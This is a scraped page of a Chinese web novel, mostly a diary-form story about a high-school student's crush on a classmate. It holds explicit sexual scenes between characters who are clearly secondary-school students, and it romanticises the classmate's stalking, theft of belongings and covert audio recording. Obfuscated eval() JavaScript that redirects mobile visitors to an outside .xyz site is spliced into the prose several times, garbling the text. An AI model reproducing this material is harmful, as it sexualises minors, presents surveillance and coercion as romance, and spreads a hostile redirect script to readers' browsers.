我就说刚才的动作还怪熟练的，合着我在梦里早做过不知多少回了…… 草！怪不得这半年我内裤购买量剧增。 L还说：“你还是睡着时比较温柔……” 我本来特别愧疚的，被他一勾又……L都快睡着了，我在这儿越想越不是滋味。 L这个意思不就是他更喜欢睡着时的我吗？ 不行，不就是要温柔点吗，醒着的我也会啊！ 没空，先不说了。 145L 匿名用户 还来啊…楼主你这精力，牛的。我实在熬不住了明天再起来看，溜了溜了。 146L 匿名用户 我还以为等不到了，恭喜楼主，明天开始就能白日宣*了！ 147L 匿名用户 Ssbxiwujakfwjgdqidj%sicaHmcjail…… （疑似彻底崩溃脸滚键盘中） 楼主匿名用户 （发布时间 04:49） 最后一次打开了。 他现在睡着了，蜷在我怀里，手还抓着我衣角。 我仔细看了看他胸口，确实……比开学时肿了一圈，颜色也深了。之前好像是淡粉吧，也没这么大，现在的一手有点握不住。 但是很确定，真的是被我揉大的。 我真得负责一辈子了。 明天也带他去看医生，检查下有没有被我弄伤。 然后再正式告白。 谢谢各位，此帖终结。 【匿名用户已申请删除此帖】 ———完——— 16. 暗恋日记（1） 【双x痴女攻，暗恋，注意避雷。】 9月11日阴 我有一个喜欢了很久的人，他叫林序，是我们这届的年级第一。他成绩好，长得好看，声音也好听，像春天的风。而我，只是一个长在角落里的蘑菇，普通，胆子小，还……不完整。 是的，我是个怪物，身体下面长着两套都没发育好的东西，不男不女。这样的我，连偷偷喜欢他都觉得是一种罪恶。 他应该不喜欢男生，更何况，是我这样的…… 可是，真的好喜欢他。 喜欢到默念他的名字，心脏都会砰砰乱跳。 内裤洗了，还没干，今天不能再听他上次朗诵诗歌的录音了。 要是林序知道我用他的声音做这种事……（一堆无意义的乱线团） 不写了，睡觉。 ——— 9月12日晴 昨天睡得太晚，今天交作业，低着头把本子递过去，没想到坐在课代表位置上的是他。 他的手指很好认，修长，骨节分明，关键是，我昨晚还在想要是他用手指摸我那里，会是什么感觉，结果他真的碰到了我的手指。 温热的，活的！那一瞬间像过电一样，我吓得缩回手，怀里的作业本“哗啦”散了一地。 他愣了一下，跟我说“抱歉”，蹲下来捡，声音有点哑，离得好近，就在我耳边，还带着热气。我的脸“腾”一下就烧起来了，热得发烫。 我怕他看见我这副没出息的样子，居然…居然什么也没说，转身就跑了。跑得太急，脚被门槛勾了一下，眼镜也掉了，他叫我，我也没敢回头去捡。 怎么办……（纸页上有几处模糊的湿痕，像是泪滴）他会不会觉得我特别没礼貌？觉得我……讨厌他？ 我怎么会讨厌他呢？ 呜……我（字迹晕开，模糊不清。） 一路跑进了厕所，然后发现，内裤又s了。 后来回去找眼镜，走廊，教室门口，甚至垃圾桶也看了，就是怎么也找不到。这学期度数涨了，不敢跟家里说，那副眼镜挺贵的，我省了好久的零花钱才买的。 又要重新开始了…… 不管是我，还是我这个怪异的身体，都好没出息吧…… 对不起。 —— 9月13日阴 又丢东西了。 是我放在抽屉里的牛奶盒，早上只喝了一半，我等着做完课间操再喝，回来就不见了。 真的很奇怪，怎么会有人偷这种东西呢？上次是一支快没墨的圆珠笔，上上次是块小得可怜的橡皮头……还有些什么，我都记不清了。 算了，反正也不值钱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513204|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >—— 9月16日多云转晴 又是讨厌的周一，但今天能看到林序了，高兴。 默念了一万遍希望他不记得上周的事情，但中午的时候，他居然主动来找我了，手里还拿着什么东西。 我心跳快得快蹦出来了，根本不敢抬头看他，结果他直接打开，递到了我面前，是一副新的眼镜，款式跟我之前那副差不多。 “那天吓到你了，对不起。”他看着我，眼神很专注，“这副赔给你，希望你别讨厌我。” 我……我当时脑子一片空白，手都在抖。他根本没有做错任何事啊，需要我原谅什么？而且我怎么可能讨厌他呢？ 我嗓子像是被堵住了，一个字都说不出来。 我想我当时的表情一定很滑稽，因为他忽然笑了，声音压得更低，像是在哄小孩，说：“别紧张，收下了就当原谅我，嗯？” 他的声音太温柔了，我马上低下头，感觉脸颊耳朵烫得可以蒸鸡蛋。 但更糟糕的不是我又躲开了他的视线…… 而是……因为他的声音和味道，下面竟然不合时宜地湿了…… 唔……对不起，我真的控制不住。 我应该说了谢谢吧，呜呜，我要把这个眼镜盒供起来。 不过，新眼镜的度数居然刚刚好。他是怎么知道的？ 17. 暗恋日记（2） 9月17日 晴转多云 今天一整天都晕乎乎的。 戴着新眼镜，世界清晰得不像话，连带着看林序都好像更清晰了。 他真是个好人，怎么办，我好像更喜欢了…… 今天课间操的时候，我像以前一样，盯着他的背影，可是有一次，我居然跟他对视上了。 虽然不到半秒，他就转头跟旁边的人说话了，可能没有看到我吧……但是后半段我一直在发呆，脑子里全是他刚才的笑。 身体不听使唤，同手同脚了，差点绊倒，有点丢人，呜……还好我在最后一排，不然被看到，又要扣分了。 数学好难，听不懂，又出神了，偷偷扭头看他，居然又撞上了他的视线。 我心跳都停了，赶紧转了回去，手心里全是汗。 是错觉吧。他怎么会看我呢？大概只是在看黑板，或者走神。对，一定是这样。 但是他那个时候的表情……不知道怎么形容了。眼神很深，黑沉沉的，不像平时对着其他人的温和，也没有笑意，有点…… 危险。 可是，可是还是好帅啊…… 忘了给mp3充电，耳机也不知道扔哪里去啦，烦。 —— 9月19日 阴 昨天没写，因为，梦到他了。 起来床单湿了大半，想偷偷抱去洗，被妈妈发现了，她还担心地问我是不是水喝太多了…… 我…… 啊啊啊啊啊，池小瑜，冷静，打住！不能再想了。 这两天没丢东西，但是，又发生了奇怪的事。 还是感觉有人在看我，而且那种被盯着的感觉越来越明显了。 去小卖部，感觉有人跟在后面。回头，只有三三两两的同学。在图书馆角落看书，伸懒腰的时候，好像瞥见一个身影从书架尽头闪过，有点像林序。 但怎么可能是他呢？ 我一定是疯了，开始产生幻觉了。是因为太喜欢他，所以潜意识里希望他也能注意到我吗？ 真是……不知羞耻。 —— 9月20日 小雨 下午自习课，我从书桌里拿练习册，指尖碰到了一个硬硬的东西。是个崭新的笔记本，深蓝色的封皮，没有任何标识。 不是我的。 我小声问了前后左右的同学，甚至隔着过道也问了，大家都摇头说不是自己的。 我翻开一页，想看看有没有名字，里面是密密麻麻的笔记，很工整，是数学的难点解析。 好厉害，有道题我思考了好久也没想出来，看了几行字居然一下做出来了。 心里有个声音在怂恿我，我忍不住一页页翻下去，不光有数学，还有还有一些物理题的巧妙思路，正好都是我薄弱的地方。 那些困扰我很久的题目，在这份笔记里变得清晰易懂。字好好看，遒劲有力，不知为什么，直觉告诉我，这是林序的笔记。 但是， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513205|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是……我刚才问了呀，我看到他抬头了，应该是听到了。 没有人认领。 在失主找我之前，我就暂时保管吧。 我会像保护眼镜盒一样保护它的！ —— 9月23日晴 笔记本还在我这里，依然没人来找我。 我都要把每一页都刻进脑子里了。 今天放学值日，我走得晚，教室没人了。我磨磨蹭蹭收拾完书包，结果不知道怎么了，走到了林序的座位旁边。 他的桌子收拾得很干净，一点都不乱，桌面上放着几本书，还有那支他说过坏了的，准备去扔的钢笔。 我像个小偷一样，心脏狂跳，手指拂过他的桌面，然后飞快地跑开了。 我是不是病了？怎么会做出这么变态的事情。 晚上回家，妈妈突然问我：“你最近……有没有感觉被人跟着？” 我心里咯噔一下，强装镇定：“没有啊，怎么了？” 妈妈皱着眉：“可能是我想多了，总觉得最近楼下有个高高瘦瘦的男生晃悠，看你进了楼道才走。” 是……巧合吧。怎么可能是跟着我。 那支钢笔躺在我书包夹层里。 硬硬的，有点凉。 但是，一想到这是他握过的……还带着他指腹的温度，和味道。 好舒服…… 又喷了，呜…… 对不起对不起对不起对不起（省略一百字。） 18. 暗恋日记（3） 9月24日 阴 林序今天没来学校，好像是说家里有事请假了。 看不到他，心里空落落的。 脑子也乱得很，没注意有没有人在跟我，又把那支钢笔带回家了。 昨晚弄得有点久，不小心把钢笔淹了，擦干净的时候，试了下，发现它是好的。 那为什么林序说坏了，他要扔啊…… 我要不要还给他啊，但是，但是这样他不就会发现是我偷的了吗？我还用它磨了…… 呜……怎么办啊池小瑜。 你真是个糟糕的家伙。 …… 完蛋了。 真的 搜了下这支钢笔，看到价格的时候，一屁股坐在地上了，现在还在痛。 知道林序家里有钱，可是为什么这么一支笔也要五千块啊，池小瑜你真的完蛋了！！！ 明天还是带去还给他吧，但是要怎么说呢，说：对不起，我以为你不要了，没经过你同意帮你处理了这支钢笔？ 他不会问我怎么处理的？难道要如实回复说，我用水淹死了它吗？ 林序一定会觉得我是个变态吧！ ——— 9月25日 阴转小雨 哭了一晚上，起来眼睛肿了，看什么都模模糊糊的。 妈妈问我怎么了，我不敢说你的儿子可能要去坐牢了，支支吾吾说追了个狗血剧，不小心看到半夜了。 她没怪我不专心学习，还多煮了两个鸡蛋让我敷眼睛。 呜呜，我妈妈真的特别特别好。 第一次这么不想去学校……一想到林序会用厌恶的眼神看我，骂我是个可恶的小偷，我真的，难受得快要死掉了。（反复湿干过的痕迹，以及一连串字迹潦草的对不起。） 一整天都坐立不安，不敢看他。 林序今天也好忙，一下课身边就围满了人，都没机会找他出去，把笔还给他，然后承认错误。 中午没去吃饭，没什么胃口，趴在桌子上想怎么做才能让他原谅我，不小心睡着了，醒的时候刚好午休结束，发现桌子上多了两个东西。 是我最喜欢的巧克力奶，还有加了溏心蛋和鸡排的三明治，很受欢迎，不早点去都买不到。 不知道是谁给的，问了同桌，他们也不知道。 好心人，谢谢你。 在数学课上偷偷吃完了，托那本笔记的福，老师今天讲的几道题我都会做啦，嘿嘿。 结果去上了个厕所回来，牛奶瓶又不见了。 其他人也没丢过东西呀，这种事情怎么老发生在我身上，真是奇怪。 下午最后两节课是自习，林序被学生会的叫走排练节目了，他是主持人。要放在以前，我肯定会高兴又有新素材了，但是今天……一点心情都没有。 也不知道他发没发现钢笔不见了，应该没发现吧，不然我不会还好端端地坐在这里，但也不一定……万一，万一他发现了，只是今天太忙没空告诉老师？还是说想等着小偷良心发现自己送回去？ 啊啊啊啊啊啊……（笔尖穿透纸面。） 心不在焉地收拾完书包，抬头发现我又成了最后一个。 林序还没回教室。 想把钢笔直接放他桌子上，然后写一封道歉信的，想了想还是算了，当面说才能显示出我的悔过之心。 也不知道对着他那张脸，我还能不能完完整整地，不磕巴地说完一句话…… 结果等了大概五分钟，有个穿西装的男人把林序的包整理好带走了，好像是他的司机。 鼓起勇气问了下，他说林序已经离开学校了。 又失败了…… 心里乱糟糟的，绕了远路，从学校后门回家，那条路人少，或许能让我混乱的脑子清醒一点。 刚走到巷口，听到里面传来了闷响和压抑的咒骂，我第一反应就是又有人在欺负我们学校的学生了。我下意识缩在墙后，偷偷探出头，想看看情况。 结果，我看到了他。 林序。 他背对着我，校服外套随意搭在旁边的墙头上，只穿着白色的衬衫，袖子挽到手肘，露出线条流畅的小臂，手上缠着绷带。 他面前蹲着三个流里流气的男生，我认得他们！就是那几个堵过我好几次，找我要保护费，我给了，没想到他们变本加厉，还差点知道了我秘密的混混。 巷子里有点暗，但看得出来他们脸上身上都挂了彩，一个挂着个巨大的青紫眼圈，一个鼻子和嘴角还在流血，最后一个，也是曾经动手扯过我衣服的黄毛，正抱着手臂吸气。 狼狈不堪，完全没有在我面前凶神恶煞的样子了。 而林序……他站得笔直，手里居然还夹着一支烟，猩红的火点在昏暗中明明灭灭。 他吸了一口，缓缓吐出烟雾，侧脸在烟雾里显得冷硬又陌生。 这……这还是那个总是温和笑着的三好学生吗？ 他怎么会抽烟？还会打架？ 我的心脏差点从嗓子眼里跳出来，听不清他跟他们说了什么，只看到林序弹了弹烟灰，然后，抬脚，又快又狠地揣在想爬起来的黄毛的膝窝。 “以后，离ta远点……” 这个声音好冷，都不像他了。 是因为林序口中的那个“ta”被他们欺负了吗？ 那是…他喜欢的人吗？ 眼睛又花了，鼻子也酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513206|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸的，我不想继续听了，我想走，逃离这里。 “池小瑜。” 他叫了我的名字。 我一下僵在原地，不敢回头，能听到他走近的脚步声，不疾不徐，却每一步都踩在我的心跳上。 他让我转过去。 我像个卡了条的木偶，僵硬地转过身，他脸上沾了血，梳得整齐的头发也散了，垂在额头前，眼睛很暗，很凶。 我腿软得几乎站不住，后背紧紧贴着冰冷的墙壁。 他走到我面前，离得很近，浓烈的烟草味混合着淡淡的血腥气笼罩了过来。 “看够了吗？”他低头看着我，声音哑哑的，“我的秘密，你都看到了。” 我想说我会保密，不告诉任何人的，但是嘴唇哆嗦着，一个字也说不出来。 林序伸手，擦过我的眼尾，我才发现自己已经不争气地哭出来了。他叹了口气，有点无奈：“哭什么，我这样很可怕？” 其实一点都不吓人，又酷又帅，被他碰过的地方开始发烫，烟味有点散了，闻着他的味道，我清晰地感觉到那里翕动着，涌出一股暖流…… 呜…… 要不是背后是墙，我早就滑下去了，我拼命摇头，偷偷夹了夹腿。 “既然被你发现了，那作为交换，你是不是也该告诉我一个秘密？” 秘密？ 我的秘密……最大的秘密就是暗恋他，还有…… 我慌乱地低下头，手指紧紧攥着书包带子，想起里面那支钢笔，我像抓住救命稻草一样，颤抖着把钢笔从书包里拿出来，递到他面前：“对、对不起！我不该拿你的钢笔……还有，笔记本……在家里，我、我明天还给你……” 他愣了一下，随即低低地笑了起来，摇了摇头，没有接钢笔，反而伸手捏了捏我的耳垂。 “不是这个。” 他俯身，凑得更近，温热的呼吸几乎喷在我的嘴唇上，我不需要抬眼，就能跟他对视，”笔记本是我放的，钢笔，也是我故意让你拿走的。” 林序在说什么？ 我的耳朵嗡嗡作响，大脑一片空白。 “我问的是……别的。” 他顿了顿，每一个字，都像是一把小锤子，狠狠砸在我的脑袋上。 “比如……你偷偷用我朗诵诗歌的录音，做了什么？” 轰—— 血液猛地冲向头顶，那一瞬间，我真的恨不得地上突然出现一个大坑，让我掉进去。我的脸都快熟了，噗噗冒着热气。 他怎么会知道？！ ”还有……” 他的目光若有似无地扫过我的双腿之间，笑着问，“我这支坏了的钢笔，好用吗，嗯？” 19. 暗恋日记（4） …… 完了，全完了。 他什么都知道了，知道我暗恋他，知道我肮脏的臆想，甚至可能……知道我拿他的东西自…… 天上的乌云压下来了，我什么都看不清。 哦，原来不是世界颠倒了，是我在往下坠。 他伸手揽住了我的腰，阻止我坐在地上，他的手臂很有力，隔着一层薄薄的校服布料，我还是能感受到他的体温，烫得吓人。 这是我第一次离林序这么近，这么亲密，我踮脚就能亲到他，可我不敢。 “我…我……” 我语无伦次，摇着唇，止不住发抖。 “怎么这么爱哭？”林灼取下我的眼镜，用指腹抹去我眼角的泪，然后掰开我攥得死紧的手，取出钢笔，在他手背的纱布上划了一道，“没想到在你这个水做的小蘑菇手里待了两天，出水也顺畅了。” 感觉他最后那句，指的并不是钢笔。 可我来不及、也不敢多想了，头几乎埋进胸口，“我、我没有秘密，对不起……林序，你把这个拿回去吧……” 太近了，他的味道好浓，闻得我晕乎乎的，又害怕，又控制不住内心的悸动，我怕我再待下去，会湿得一塌糊涂。 我想挣脱，却使不上一点力气。 “真的没有？” 我都快把头点掉了。 林序又笑了，很轻，却让我毛骨悚然。 他从裤袋里取出一个巴掌大的mp3，把耳机塞进了我耳朵里。 林序经常带着这个上课，他成绩好，老师只在最开始的时候问过一次，他说是听力材料，老师也就不管他了。 他是打算用枯燥的英语听力赶走我满脑子的耶漏吗？ 我眨了眨泪眼朦胧的眼睛，呆呆地看着他按下播放键。 “滋滋……滋……” 一开始是一段无意义的杂声接着，慢慢的，有细微的水声出现。 “咕叽……咕叽咕叽……” 水声愈发清晰，粘稠，裹住了我的耳朵，杂声中混入了若有似无的轻吟。 “唔嗯……” 听到人声的瞬间，我弹了起来，额头撞到了他下巴。 我惊恐地看着林序，爆红的脸颊变惨白，眼泪狂飙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513207|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在什么东西破裂的声音中，我听到了最后一句： “林序……” 他怎么会有我，有我*的音频？！ “喜欢我，这不是你的秘密。”他说，“你的秘密是……多了一个小东西，对不对？” 我像是被一盆冷水当头泼下，剧烈地颤抖起来，我用尽全身力气想推开他，想逃跑，却被他抱得更紧。 他的拇指摩挲着我的手腕内侧，带来一阵阵酥麻，我哭得上气不接下气，不受控制地坐在他不知道什么时候卡进我腿间的大腿上。 “别怕。” 林序说，他的声音低沉下来，带着一种奇异的安抚力量，内容却让我更加战栗，“很可爱。” 我愣住了，下巴被他抬起，对视。 他脸上什么表情都没有，眼神却深得像潭水，我的身影被他淹没。他擦干我脸上的眼泪，重复了一遍，“我说，很可爱。” 他居然夸我了……我该说一句谢谢吗？ 但我除了哽咽，什么都说不出来。 “想看看。”他补充道，声音哑得不成样子，“想……忝，可以吗？” 20. 暗恋日记（5） 9月..26.日?（无天气，笔记潦草） 不知道今天是几号，也不知道是什么天气。 从昨天到现在，我的灵魂好像飘在空中，每一步，都踩在棉花上。 他说了那句话后，我完全失去了思考的能力，我的脑子是懵的，身体是软的，被他半扶半抱着，带到了学校附近他一个人住的公寓。 房间很整洁，全是他身上的、混合着冷冽和洗衣液清香的味道。 他带我进了卧室，像放小孩一样，把我放在他的床上，然后蹲在我面前，仰头看我，又问了一遍。 “可以吗？” 林序用温柔的目光注视着我，仿佛我是他的公主，我迫不及待地答应，和他接吻，十指相扣，然后，林序会轻轻脱下我的衣服…… 这是我最常做的梦，醒来，夹着的枕头是湿的，床单也是，所以我后来学会了铺一个小垫子。 而此刻，梦境与现实重叠了。 没开灯，客厅里暗沉沉的，我的眼镜还在他衬衫领子上别着，我哭得眼花，只能看清他的轮廓，那双眼睛却异常清晰。 不再是深不见底的湖了，燃着火。 眼眶木木的，我感觉我的眼泪都已经流干了，怎么还能有东西从脸上滚下来呢？ 他眼里的火好像也被我掉下来的东西砸黯下去了，林序伸手擦掉我的眼泪，把我的眼镜架到我的鼻子上，然后起身，揉了揉我的头发。 “先坐，我去给你倒杯水。” 他要走了。 那一刻，我竟然比他发现了我的秘密还害怕，于是我拉住了他的袖子，慢慢分开了我并得紧紧的膝盖。 他眼里的火烧得更旺了，像是要把我烤熟，让我变成一个干巴巴的蘑菇。 接下来的一切，又像是我在做梦了。 纽扣解开，拉链下滑的声音在寂静中格外清晰，最后一块布料也被拉开，分离，微凉的空气让我瑟缩了下。 我听到他的呼吸突然停住了。 我闭着眼，不敢看他的表情，甚至想把耳朵封起来，缩成一团。 他会觉得恶心吗，会觉得……我是个怪物吗？ 我控制不住地想并拢腿，把自己藏起来，但是下一秒，我感觉到他温热的呼吸喷洒在那里。 然后，…… 是……他的设头！ “啊！” 我猛地一颤，条件反射的收拢腿，反倒让他的鼻子也撞了上来，我还想挣扎，他反手握住我的大腿，架在了他的脖子上。 “别怕。”他的声音含糊不清，“真的，很漂亮……” 又被夸了，我满脸涨红，短促地尖叫出声。 因为，他……他居然真的在忝！！ ……他画得很慢，也很认真，但我想我这辈子都不适合当人体模特了，因为不过画了几秒，我的腿都一直在抖，还把画布打湿了。 眼镜片上蒙了层水汽，世界都变得模糊，我咬着手指，但是奇怪的声音还在不停往外冒，我忍不住弓起背，往后靠，却被他一把拉回。 从热水里取出来的画笔又软又烫…… “唔……不要，脏……” 我也没想过居然有一天，我会拽着林序的头发，但是，太超过了，比之前任何一次都。 我感觉身体里的每一滴水分都在不受控制地、争先恐后地往外冒。 一股，两股……我听到了他大口大口吞咽的声音，可是这，怎么能喝呢？！ 我想推开他，腰和腿却不听我的使唤，向上挺，倒像是我迫不及待坐在他脸上扭一样。 林序的呼吸越来越粗了，他不会被我闷坏吧，我担心极了，但眼镜花了，我又什么都看不清了，想让他起来，但是一开口，就是那种比小视频里还羞耻的声音。 脑子要化了，好舒服……真的，比枕头，手指，冷冰冰的钢笔加起来还要舒服一百倍。 身体像不是自己的了一样，快要死掉了…… “林…林序……”我无意识地叫着他的名字，带着哭腔，“别……我，我要……” 他听到我的呼唤，动作顿了一下，然后画得更加卖力了，他还摸到了白颜料的壳子上，轻轻一划。 天花板出现了好多烟花。 还有喷泉。 我大脑一片空白，只能大口大口地喘着气，过了好几秒，我才意识到自己做了什么。 眼镜挂在我鼻子上，我慢慢往下看，林序还跪在我面前，脸上、下巴都沾着亮晶晶的液体，顺着脖子往下流，他的衬衫也被打湿了。 都怪我，怪我没提前告诉他会出现喷泉，对不起，我不是故意的…… 我手忙脚乱地想用手去擦，却被他抓住了手腕，他起身，把我拽进怀里，拍着我的背小声安抚说没事。 我靠在他胸前，听到他同样急促的心跳，过了好久我才缓过来一点，他问我舒服吗的时候，我根本不敢回答说我舒服得快死了，把脸埋在他胸口，也不敢抬头。 他又笑了，胸腔震得我耳朵麻麻的。 他说，很甜。 我，我…… 疯了啊啊啊啊啊啊（大段潦草凌乱得什么都看不出的笔画。） 这个时候，放在客厅的手机响了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513208|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他拍拍我的肩膀，站起来时，鼓得特别吓人…… 设头就已经很超过了，要是那里…… 我都没听到他跟电话那头讲了什么，等他再回来，把我抱起来要给我穿衣服的时候，突然又笑了。 顺着他的目光看去，我才发现刚才坐的地方又多了好大一片湿痕，在他浅灰色的床单上格外显眼。 “对不起……” 我都不知道跟他说了多少句对不起了。 但是他说：“看来要多准备些吸水垫。” 这是什么意思？难道说……还有下一次吗？ 裤子掉到脚踝，他蹲下帮我捡起，让我自己提着裤子，他去书桌拿纸。书桌的抽屉没有合拢，我看到了，在抽屉的角落里，安静躺着我那支没墨的圆珠笔，旁边还有那块小小的橡皮。 我很确定那是我的，因为我在圆珠笔的标签上画了个小小的蘑菇……我腿还是软的，却忍不住上前一步，接着，发现了更多的，我丢失的东西…… 牛奶盒，发绳，用完的草稿本…… 还有，我上次跑掉时丢的那副旧眼镜。 原来是林序拿走的。 他拿着纸巾走回来，看到我震惊的表情，慢条斯理地从校服口袋里拿出了我今天丢的牛奶瓶，放进了抽屉里，仿佛那是什么珍贵的收藏品。 他走过来，帮我擦干净，整理好我的衣服，然后抱住我，把脸埋在我的颈窝深深吸了一口气。 我问他为什么？ 他却没直接回答，而是盯着我的眼睛：“那你呢，你为什么要拿我的钢笔？” …… 被林序送到家楼下的时候，我脑袋还是懵的，心脏却在狂跳。 上楼的时候，我忍不住回头看他，他站在风中，朝我挥挥手，笑得还是那么温柔。 见我没动，他上前，摸了摸我的头发，“回去吧。” 然后凑到我耳边，咬了咬我的耳尖，低声说：“耳机在我这里，今晚不许再用录音做坏事，但是……” “可以想我。” 我晕乎乎地点头，看着他离开的背影，上楼时腿还是软的。 回到家里，躺在床上，身上似乎还残留着他的味道和触感，那个被忝氏的感觉，清晰得仿佛还在继续。 林序那句话是什么意思？我……我和林序……我们这算是什么关系呢？ 他也喜欢我吗？喜欢我这个不男不女的怪物？ 怎么可能呢？ 可是，他说……很可爱。 我把滚烫的脸埋进枕头里，感觉自己还没从那场荒唐又甜美的梦中醒来。 21.暗恋日记（6） 9月27日晴 今天请假了。 我把自己关在房间里，用被子蒙住头，感觉整个世界都不真实。 洗过澡了，但身上似乎还残留着他的味道，还有……我自己的，那种羞耻的甜腥气，那里还在隐隐发烫，提醒我昨天发生的一切不是梦。 林序。 那个光芒万丈的林序。他打架，抽烟，偷拿我的东西，他…发现了我的秘密，还……忝了我那里。 他还说，很可爱。 心脏跳得快炸开了。 他是不是……也有一点喜欢我？哪怕只是对我这畸形的身体感兴趣？ 我不敢想。 好像又湿了，只是回想，就…… 呜……池小瑜，你没救了。 妈妈来敲门问我怎么了，我说不舒服。她担心地摸了摸我的额头，说有点烫，让我好好休息。 是有点发烧，昨晚开着窗户通风，试图冷静，吹得有点久了，但是不严重。 还有……一想到他，全身就像着了火。 我嗯嗯啊啊地应着，妈妈看着我通红的脸，突然说了句，“昨天送你回来的那个男同学，是叫林序吧。” 妈妈怎么会知道…… 对了，那通电话！ 她说：“你昨天那么晚还没回家，妈妈就给你打了电话，是那个男同学接的，小鱼，人家帮你补了课，还送你回了家，你怎么没让他上来坐坐呢？” 我松了口气，跟她撒娇，糊弄了过去。 离开房间之前，妈妈好像还嘟囔了句什么，我没听清。 等她走后，我从枕头底下拿出了那个笔记本，还有那支钢笔。 他最后还是塞回了我手里，说既然被我修好了，那以后就是我的了，笔记本也是。 上面好像还残留着他的体温。 我把它们紧紧抱在怀里，突然很想，很想再让林序抱抱我。 他的怀抱，比我梦中的温暖多了。 —— 9月30日晴 一整个周末，都在想林序。 想他为什么要收集我的那些“垃圾”？ 他是什么时候开始注意我的？ 他喜欢我吗？还是只是……对我这个“怪物”的身体感到好奇？ 他说“可爱”……是真心话吗？ 如果……如果他再想忝那里……我还能拒绝吗？ 不…我恐怕……根本无法拒绝。 只要他用那种声音哄我，只要他靠近我…… 呜……我在想什么啊…… 池小瑜，打住，你马上要出门上学了，来不及换裤子了！ 还没进教室就看到他了，他正在看书，很专注，依旧是那个完美的年级第一，但我走进的时候，他马上抬起头看我，嘴角很轻地勾了下。 大腿撞到桌角了，好痛……余光看到他站起来了，我立刻冲到座位坐下。 刚好，上课铃响了。 同桌问我看到什么了，说我刚才特别像看到天敌受惊的兔子，她一脸八卦，我又没法跟她解释到底发生了什么，只好把她推回去，她又不甘心地凑过来，我又把她推回去。 像个不服输的不倒翁。 然后我们两个喜提罚站一整节早自习…… 好丢脸…… 更不敢跟他对视了，因为，因为……一看到他那张脸，心脏砰砰跳的时候，还会忍不住想起那天他陌生而危险的样子。 想起他把我压在墙上，想起蹲在我面前，想起他*我时的感觉，立刻就会变得湿漉漉的。 天啊…… 早自习一过，他被班主任叫出去了，同桌没再继续问我，跟我说上周五我不在的时候，学校发生了哪些哪些事。 她说了很多，我的关注点只有一个，林序那天也请假了。 中午，我抽屉里又多了一盒草莓牛奶，是我常喝的那个牌子。下面压着一张纸条，是他漂亮的字迹：“补充体力。” 右下角还有很小的一行字。 我也想喝甜的^ ^。 我立刻从头红到了脚。 他……他什么意思嘛！！！ 舍不得喝，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518123|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸条一起，悄悄塞进书包了。 回去一起供起来。 体育课自由活动，我照例找了个角落，蹲着看书。他不知从哪里冒出来，坐在我旁边，静静盯着我看了好久。 我没发现，把书合拢才抬头看到他，又吓了一跳。 “这里阳光好。”他笑了笑，脸色在太阳光下有点苍白。 